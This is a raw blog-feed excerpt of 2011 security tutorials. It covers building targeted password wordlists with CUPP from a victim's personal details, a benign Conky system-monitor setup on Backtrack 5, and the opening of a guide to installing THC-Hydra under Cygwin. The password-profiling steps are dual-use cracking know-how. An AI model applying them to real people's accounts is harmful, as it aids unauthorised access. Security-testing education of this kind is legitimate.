style="margin: 0in 0in 0pt 76.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;That sums up Wyd, so now I will show you how we can make use of our findings from WyD with the help of CUPP to take things a step further and increase our chances even further for our dictionary attack.&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;======================================================================&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;++++++++++CUPP - Common User Passwords Profiler TUTORIAL+++++++++++++++++&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;======================================================================&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
CUPP stands for Common User Passwords Profiler, and is a great tool to add to any security testers collection and pairs strongly with the WyD tool covered above. It is a Python tool than can be used for password profiling to strengthen your dictionary attacks by creating targeted dictionaries, or wordlists, to use in attacks. &lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;A weak password might be very short or only use alphanumeric characters, making decryption simple as you will find it in almost any of the common wordlists you can find with a quick Google Search. Another type of weak password that can be easily cracked is one that can be easily guessed. Typical passwords that people commonly use might consist of things like pets names, family, girlfriends/boyfriends, birthdays, and other important date/events, or common things people obsess about like God, sex, love, and money. You will find a lot of these items in common passwords but building a smaller wordlist to work with can sometimes save you a lot of time. CUPP will help to generate a wordlist for you based on what Social Engineering [dot] Org calls "predicting specific target passwords by exploiting human vulnerabilities". You will need to download the file from here:&amp;nbsp;&lt;a href="http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Common_User_Passwords_Profiler_(CUPP)"&gt;http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Common_User_Passwords_Profiler_(CUPP)&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;You can extract it using the usual commands:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: tar -xvf cupp2.tar.tar&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: python cupp.py –h&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-QDxrDz4ENX8/Tfw5-zPAzNI/AAAAAAAAAAc/l5BHrSloIQc/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" i$="true" src="http://1.bp.blogspot.com/-QDxrDz4ENX8/Tfw5-zPAzNI/AAAAAAAAAAc/l5BHrSloIQc/s400/5.png" width="328" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;Now you will have two ways to use this tool. You can either use the interactive menu or you can parse results from WyD (which was covered above). I will start with the overview of how to use it for parsing WyD results and then I will cover interactive mode. &lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;OK, assuming you have already used the WyD tool discussed above then you can also use CUPP to parse the results and work its magic. In order to do this you will need to use the following syntax at the console:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: python cupp.py -w /path/to/file/&amp;lt;filename-from-WyD-output&amp;gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;To check how many words were created:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: wc -l output-wordlist.txt&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;In order to bring up interactive mode you will simply start the CUPP tool and use the "-i" argument to prompt for interactive mode ("python cupp.py -i"). The tool will ask you a series of questions about your victim, and then use that information to help create a targeted wordlist you can use. When it is done asking you the basic questions you will also have a chance to choose any "extras", like having it also add special characters to the end of the words it creates. It can also add numbers to the end as well as performing an l337 permutation. Once it is done it will create a text file in the CUPP folder labeled by your answer to the first interactive question.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-oORx6ZiuBjs/Tfw6Te_QlvI/AAAAAAAAAAg/q4puPErrP7A/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" i$="true" src="http://4.bp.blogspot.com/-oORx6ZiuBjs/Tfw6Te_QlvI/AAAAAAAAAAg/q4puPErrP7A/s400/6.png" width="378" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;This wraps up my tutorial/overview of few helpful password profiling tools which will certainly aid in creating custom wordlists to facilitate faster dictionary attacks and with higher success rates. I have also included a video of everything below for those of you who enjoy visual learning. I hope you have enjoyed things this week and please stay tuned for more to come in the future, and remember to ensure you have a strong password for all your safe keepings. If you have any questions or suggestions on anything covered today please leave a comment and let me know or shoot me an email or PM. Until next time...&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;Thanks,&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;H.R.&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;PS – I originally did the write up for installing and running things on Cygwin, but then I shot the video using it on Linux. It works either way, although there are less problems and full functionality of all tools in Linux. Here is the VIDEO for those that are interested: &lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://0.gvt0.com/vi/4BPiZOod0_Q/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/4BPiZOod0_Q&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/4BPiZOod0_Q&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-3096852540218767945?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/R5nH2GuiZ1Dtc69Pz6myWBsO40Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/R5nH2GuiZ1Dtc69Pz6myWBsO40Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/R5nH2GuiZ1Dtc69Pz6myWBsO40Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/R5nH2GuiZ1Dtc69Pz6myWBsO40Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/UTW0jNvc-xE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/3096852540218767945/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/06/wordlists-password-profiling-with.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/3096852540218767945?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/3096852540218767945?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/UTW0jNvc-xE/wordlists-password-profiling-with.html" title="Wordlists &amp; Password Profiling with CRUNCH, WyD, &amp; CUPP" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-qw730ERe_zo/Tfw4eqa8NbI/AAAAAAAAAAM/layA4LcC5FI/s72-c/1.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/06/wordlists-password-profiling-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4NQn05eyp7ImA9WhZbFEs.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-797725610846235234</id><published>2011-06-19T01:29:00.000-05:00</published><updated>2011-06-19T01:29:53.323-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-19T01:29:53.323-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux System Monitor" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="CONKY" /><category scheme="http://www.blogger.com/atom/ns#" term="conky.conf" /><category scheme="http://www.blogger.com/atom/ns#" term="How to install Conky" /><category scheme="http://www.blogger.com/atom/ns#" term="Backtrack 5" /><title>How to Install CONKY on Backtrack 5</title><content type="html">Today's&amp;nbsp;I will show you how to install Conky on Backtrack 5 (with my first video release) and will share my configuration file so you can get started easily. This is a very cool tool that allows you to hook into Linux API and create your own custom system monitor - that looks super cool too! I will start from the beginning and walk you through basic steps and will use my preconfigured conf file to show what the final product can look like. I will leave it to you to investigate further and tweak it to fit your needs, it is fully customizable so you will have fun. If it gets to messy just remove the configuration file and start over. &lt;br /&gt;
&lt;br /&gt;
Here is the video:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/NQFwqtg3g70/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/NQFwqtg3g70&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/NQFwqtg3g70&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;Steps to follow at home:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; apt-get install conky&lt;br /&gt;
&lt;br /&gt;
NOTE: You may need "sudo" in front if you are not on Backtrack&lt;br /&gt;
&lt;br /&gt;
Now you will need to go into "/etc/conky/conky.conf" to make the necessary edits to define what we want to monitor and how we want it all to look. Here are the steps:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd /etc/conky&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; gedit conky.conf&lt;br /&gt;
&lt;br /&gt;
Customize as you would like, but here is what mine looks like after lots of time on Google and reading through the conky docs. You should be fine with this setup and if you are at all familiar with linux you should be able to edit the conky.conf details (default or below) to your liking by simply changing interface names or colors, etc...Hope you have enjoyed, and stay tuned for more video series to come in the near future. &lt;br /&gt;
&lt;br /&gt;
Laters, H.R&lt;br /&gt;
&lt;br /&gt;
PS - Here is what the&amp;nbsp;content of my conky.conf file looks like (just copy and paste the below over existing content and save):&lt;br /&gt;
##################################################################&lt;br /&gt;
# Conky, a system monitor, based on torsmo&lt;br /&gt;
#&lt;br /&gt;
# Any original torsmo code is licensed under the BSD license&lt;br /&gt;
#&lt;br /&gt;
# All code written since the fork of torsmo is licensed under the GPL&lt;br /&gt;
#&lt;br /&gt;
# Please see COPYING for details&lt;br /&gt;
#&lt;br /&gt;
# Copyright (c) 2004, Hannu Saransaari and Lauri Hakkarainen&lt;br /&gt;
# Copyright (c) 2005-2010 Brenden Matthews, Philip Kovacs, et. al. (see AUTHORS)&lt;br /&gt;
# All rights reserved.&lt;br /&gt;
#&lt;br /&gt;
# This program is free software: you can redistribute it and/or modify&lt;br /&gt;
# it under the terms of the GNU General Public License as published by&lt;br /&gt;
# the Free Software Foundation, either version 3 of the License, or&lt;br /&gt;
# (at your option) any later version.&lt;br /&gt;
#&lt;br /&gt;
# This program is distributed in the hope that it will be useful,&lt;br /&gt;
# but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;br /&gt;
# GNU General Public License for more details.&lt;br /&gt;
# You should have received a copy of the GNU General Public License&lt;br /&gt;
# along with this program.&amp;nbsp; If not, see &amp;lt;&lt;a href="http://www.gnu.org/licenses/"&gt;http://www.gnu.org/licenses/&lt;/a&gt;&amp;gt;.&lt;br /&gt;
#&lt;br /&gt;
alignment bottom_left&lt;br /&gt;
background no&lt;br /&gt;
border_width 1&lt;br /&gt;
cpu_avg_samples 2&lt;br /&gt;
default_color red&lt;br /&gt;
default_outline_color red&lt;br /&gt;
default_shade_color red&lt;br /&gt;
draw_borders no&lt;br /&gt;
draw_graph_borders yes&lt;br /&gt;
draw_outline no&lt;br /&gt;
draw_shades no&lt;br /&gt;
use_xft yes&lt;br /&gt;
xftfont DejaVu Sans Mono:size=12&lt;br /&gt;
gap_x 5&lt;br /&gt;
gap_y 60&lt;br /&gt;
minimum_size 5 5&lt;br /&gt;
net_avg_samples 2&lt;br /&gt;
no_buffers yes&lt;br /&gt;
out_to_console no&lt;br /&gt;
out_to_stderr no&lt;br /&gt;
extra_newline no&lt;br /&gt;
own_window yes&lt;br /&gt;
own_window_class Conky&lt;br /&gt;
own_window_type desktop&lt;br /&gt;
stippled_borders 0&lt;br /&gt;
update_interval 1.0&lt;br /&gt;
uppercase no&lt;br /&gt;
use_spacer none&lt;br /&gt;
show_graph_scale no&lt;br /&gt;
show_graph_range no&lt;br /&gt;
wireless_essid wlan0&lt;br /&gt;
wireless_mode wlan0&lt;br /&gt;
wireless_bitrate wlan0&lt;br /&gt;
wireless_ap wlan0&lt;br /&gt;
wireless_link_qual wlan0&lt;br /&gt;
wireless_link_qual_max wlan0&lt;br /&gt;
wireless_link_qual_perc wlan0&lt;br /&gt;
wireless_essid mon0&lt;br /&gt;
wireless_mode mon0&lt;br /&gt;
wireless_bitrate mon0&lt;br /&gt;
wireless_ap mon0&lt;br /&gt;
wireless_link_qual mon0&lt;br /&gt;
wireless_link_qual_max mon0&lt;br /&gt;
wireless_link_qual_perc mon0&lt;br /&gt;
TEXT&lt;br /&gt;
${scroll 16 $nodename - $sysname $kernel on $machine | }&lt;br /&gt;
$hr&lt;br /&gt;
${color grey}Uptime:$color $uptime&lt;br /&gt;
${color grey}Frequency (in MHz):$color $freq&lt;br /&gt;
${color grey}Frequency (in GHz):$color $freq_g&lt;br /&gt;
${color grey}RAM Usage:$color $mem/$memmax - $memperc% ${membar 4}&lt;br /&gt;
${color grey}Swap Usage:$color $swap/$swapmax - $swapperc% ${swapbar 4}&lt;br /&gt;
${color grey}CPU Usage:$color $cpu% ${cpubar 4}&lt;br /&gt;
${color grey}Processes:$color $processes&amp;nbsp; ${color grey}Running:$color $running_processes&lt;br /&gt;
$hr&lt;br /&gt;
${color grey}File systems:&lt;br /&gt;
&amp;nbsp;/ $color${fs_used /}/${fs_size /} ${fs_bar 6 /}&lt;br /&gt;
${color grey}Networking:&lt;br /&gt;
Up:$color ${upspeed eth0} ${color grey} - Down:$color ${downspeed eth0}&lt;br /&gt;
$hr&lt;br /&gt;
${color grey}Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PID&amp;nbsp;&amp;nbsp; CPU%&amp;nbsp;&amp;nbsp; MEM%&lt;br /&gt;
${color lightgrey} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}&lt;br /&gt;
${color lightgrey} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}&lt;br /&gt;
${color lightgrey} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}&lt;br /&gt;
${color lightgrey} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}&lt;br /&gt;
${color grey}$hr&lt;br /&gt;
SYSTEM ${hr 2}&lt;br /&gt;
${color grey}Nodename:$color $nodename&lt;br /&gt;
${color grey}Current Time:$color $time&lt;br /&gt;
${color grey}Uptime:$color: $uptime_short&lt;br /&gt;
${color grey}Kernal Version:$color $kernel&lt;br /&gt;
${color grey}$hr&lt;br /&gt;
CPU ${hr 2}&lt;br /&gt;
${color grey}CPU:$color $freq_g Ghz&lt;br /&gt;
${color grey}CPU temp:$color $acpitemp C&lt;br /&gt;
${color grey}CPU use:$color $cpu % $alignc${cpubar 8}&lt;br /&gt;
${color grey}Processes:$color $running_processes/$processes&lt;br /&gt;
${color grey}$hr&lt;br /&gt;
MEMORY ${hr 2}&lt;br /&gt;
${color grey}Memorey usage: $mem/$memmax&lt;br /&gt;
$color $memperc % $alignc${membar 8}&lt;br /&gt;
${color grey}$hr&lt;br /&gt;
WIRELESS ${hr 2}&lt;br /&gt;
${color grey}IP:$color ${addr wlan0}&lt;br /&gt;
${color grey}Signal:$color ${wireless_link_qual_perc wlan0}&lt;br /&gt;
${color grey}Down:$color ${downspeed wlan0} Kb/s ${alignr}Up: ${upspeed wlan0} Kb/s&lt;br /&gt;
${downspeedgraph wlan0 15,50 ffffff ffffff} ${alignr}${upspeedgraph wlan0 15,50 ffffff ffffff}$color&lt;br /&gt;
Total: ${totaldown wlan0} ${alignr}Total: ${totalup wlan0}&lt;br /&gt;
${color grey}$hr&lt;br /&gt;
MON0 ${hr 2}&lt;br /&gt;
${color grey}IP:$color ${addr mon0}&lt;br /&gt;
${color grey}Signal:$color ${wireless_link_qual_perc mon0}&lt;br /&gt;
${color grey}Down:$color ${downspeed mon0} Kb/s ${alignr}Up: ${upspeed mon0} Kb/s&lt;br /&gt;
${downspeedgraph mon0 15,50 ffffff ffffff} ${alignr}${upspeedgraph mon0 15,50 ffffff ffffff}$color&lt;br /&gt;
Total: ${totaldown mon0} ${alignr}Total: ${totalup mon0}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-797725610846235234?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-Hwszui6wivF59TPupKFrAQz4Ts/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-Hwszui6wivF59TPupKFrAQz4Ts/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-Hwszui6wivF59TPupKFrAQz4Ts/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-Hwszui6wivF59TPupKFrAQz4Ts/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/3mZxxODOuHQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/797725610846235234/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/06/how-to-install-conky-on-backtrack-5.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/797725610846235234?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/797725610846235234?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/3mZxxODOuHQ/how-to-install-conky-on-backtrack-5.html" title="How to Install CONKY on Backtrack 5" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/06/how-to-install-conky-on-backtrack-5.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcCQ3g-fyp7ImA9WhZbFUw.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-712616321620587648</id><published>2011-06-09T13:57:00.002-05:00</published><updated>2011-06-19T15:07:42.657-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-19T15:07:42.657-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="HYDRA" /><category scheme="http://www.blogger.com/atom/ns#" term="Remote Password Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="Bruteforce" /><category scheme="http://www.blogger.com/atom/ns#" term="Passwords" /><category scheme="http://www.blogger.com/atom/ns#" term="Network Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="THCHYDRA" /><category scheme="http://www.blogger.com/atom/ns#" term="XHYDRA" /><category scheme="http://www.blogger.com/atom/ns#" term="GPU Cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="CYGWIN" /><category scheme="http://www.blogger.com/atom/ns#" term="Parallel Protocol Attacks" /><title>How to Setup WORKING THCHydra and Cygwin Environment on Windows 7</title><content type="html">&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;UPDATED: Now includes video for getting XHYDRA working on Backtrack 5 at the bottom!&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Calibri;"&gt;Today I will show you how to setup the parallel threaded multi-protocol cracker known as THCHydra to work under a Windows 7 environment. In order to pull this off properly we will need to setup a Cygwin environment on our Windows machine, as there is NO supported .EXE file for Windows to make this magically work (probably a virus if you find one or it is very outdated). Cygwin is like a Linux emulator for Windows, in that it creates a Linux API environment within your windows environment to provide a lot of Linux API functionality (not 100% but close). This is done through the cywin1.dll which allows you to run many programs not originally designed for Windows (i.e. Linux programs like THChydra). The catch is that you can't just run any Linux program you want; you have to build or compile everything you will want to use from source to get it to work in Cygwin environment properly (and even then it is not guaranteed it will work if it was never designed for Windows/Cygwin). OK with that out of the way, we can begin...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;What you need:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Latest version of Cygwin, available here: &lt;/span&gt;&lt;a href="http://cygwin.com/setup.exe"&gt;&lt;span style="font-family: Calibri;"&gt;http://cygwin.com/setup.exe&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Latest source for THCHydra (currently v6.3), available here: &lt;/span&gt;&lt;a href="http://www.thc.org/download.php?t=r&amp;amp;f=hydra-6.3-src.tar.gz"&gt;&lt;span style="font-family: Calibri;"&gt;http://www.thc.org/download.php?t=r&amp;amp;f=hydra-6.3-src.tar.gz&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l1 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: If you are using Linux or already have Cygwin installed and just want intro to THCHydra and how to compile properly just skip the Cygwin steps and move straight to the bottom where we focus on THChydra.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;+=============================================+&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;|&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Steps to Install Cygwin and create environment:&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;|&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;+=============================================+&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;You need to start by downloading the Setup.EXE file from the main site listed above. Just double click on this when you are ready to get started. This will open the initial setup for Cygwin environment, which by default only includes the basic items needed. You can search through them and choose the ones you want/need or choose simply to include everything if you have the space and want to avoid having to troubleshoot missing items later. For example, if for example you wanted to also compile C++ programs you would need to make sure you included the&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;gcc-g++ package and some kind of text editor like Vi or Nano. When running setup.exe, clicking on categories and packages in the package installation screen will provide you with the ability to control what is installed or updated. Another option is to install everything by clicking on the Default field next to the All category. If you have low bandwidth this could take some time as it downloads most of the packages from Internet (like SVN), so go have lunch and a beer, smoke or whatever your fancy and come back in a bit. This is what the process should look like for you upon opening the first time through completion with Desktop shortcut created:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img823.imageshack.us/img823/3716/hydra1t.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://img823.imageshack.us/img823/3716/hydra1t.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img849.imageshack.us/img849/9415/hydra2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://img849.imageshack.us/img849/9415/hydra2.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
